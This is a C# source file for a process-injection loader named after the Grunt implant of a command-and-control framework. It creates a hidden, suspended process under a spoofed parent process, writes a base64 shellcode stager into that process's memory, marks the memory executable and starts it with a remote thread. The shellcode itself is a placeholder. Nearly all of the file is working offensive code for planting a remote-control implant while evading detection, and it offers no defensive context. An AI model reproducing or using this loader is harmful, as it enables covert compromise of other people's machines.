using System;
using [Link];
using [Link];
namespace GruntInjection
{
class Program
{
public const uint CreateSuspended = 0x00000004;
public const uint DetachedProcess = 0x00000008;
public const uint CreateNoWindow = 0x08000000;
public const uint ExtendedStartupInfoPresent = 0x00080000;
public const int ProcThreadAttributeParentProcess = 0x00020000;
// Hardcoded Grunt Stager
public static byte[] gruntStager = Convert.FromBase64String("[[shellcode
here]]");
static void Main(string[] args)
{
if ([Link] < 2)
{
[Link]("Invalid number of args");
return;
}
// Create new process
PROCESS_INFORMATION pInfo = CreateTargetProcess(args[0],
[Link](args[1]));
// Allocate memory
IntPtr allocatedRegion = VirtualAllocEx([Link], [Link],
(uint)[Link], [Link] | [Link],
[Link]);
// Copy Grunt PIC to new process
UIntPtr bytesWritten;
WriteProcessMemory([Link], allocatedRegion, gruntStager,
(uint)[Link], out bytesWritten);
// Change memory region to RX
MemoryProtection oldProtect;
VirtualProtectEx([Link], allocatedRegion,
(uint)[Link], [Link], out oldProtect);
// Create the new thread
CreateRemoteThread([Link], [Link], 0, allocatedRegion,
[Link], 0, [Link]);
}
public static PROCESS_INFORMATION CreateTargetProcess(string targetProcess,
int parentProcessId)
{
STARTUPINFOEX sInfo = new STARTUPINFOEX();
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
[Link] = (uint)[Link](sInfo);
IntPtr lpValue = [Link];
try
{
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
[Link] = [Link](pSec);
[Link] = [Link](tSec);
uint flags = CreateSuspended | DetachedProcess | CreateNoWindow |
ExtendedStartupInfoPresent;
IntPtr lpSize = [Link];
InitializeProcThreadAttributeList([Link], 1, 0, ref lpSize);
[Link] = [Link](lpSize);
InitializeProcThreadAttributeList([Link], 1, 0, ref
lpSize);
IntPtr parentHandle =
[Link](parentProcessId).Handle;
lpValue = [Link]([Link]);
[Link](lpValue, parentHandle);
UpdateProcThreadAttribute([Link], 0,
(IntPtr)ProcThreadAttributeParentProcess, lpValue, (IntPtr)[Link],
[Link], [Link]);
CreateProcess(targetProcess, null, ref pSec, ref tSec, false,
flags, [Link], null, ref sInfo, out pInfo);
return pInfo;
}
finally
{
DeleteProcThreadAttributeList([Link]);
[Link]([Link]);
[Link](lpValue);
}
}
[DllImport("[Link]")]
public static extern bool CreateProcess(string lpApplicationName, string
lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES
lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr
lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out
PROCESS_INFORMATION lpProcessInformation);
[DllImport("[Link]", SetLastError = true)]
public static extern bool InitializeProcThreadAttributeList(IntPtr
lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[DllImport("[Link]", SetLastError = true)]
public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList,
uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr
lpPreviousValue, IntPtr lpReturnSize);
[DllImport("[Link]", SetLastError = true)]
public static extern bool DeleteProcThreadAttributeList(IntPtr
lpAttributeList);
[DllImport("[Link]")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr
lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection
flProtect);
[DllImport("[Link]", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr
lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("[Link]")]
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint
dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect);
[DllImport("[Link]", SetLastError = true, CallingConvention =
[Link])]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr
lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, IntPtr lpThreadId);
[StructLayout([Link])]
public struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout([Link])]
public struct STARTUPINFO
{
public uint cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttributes;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdErr;
}
[StructLayout([Link])]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout([Link])]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
}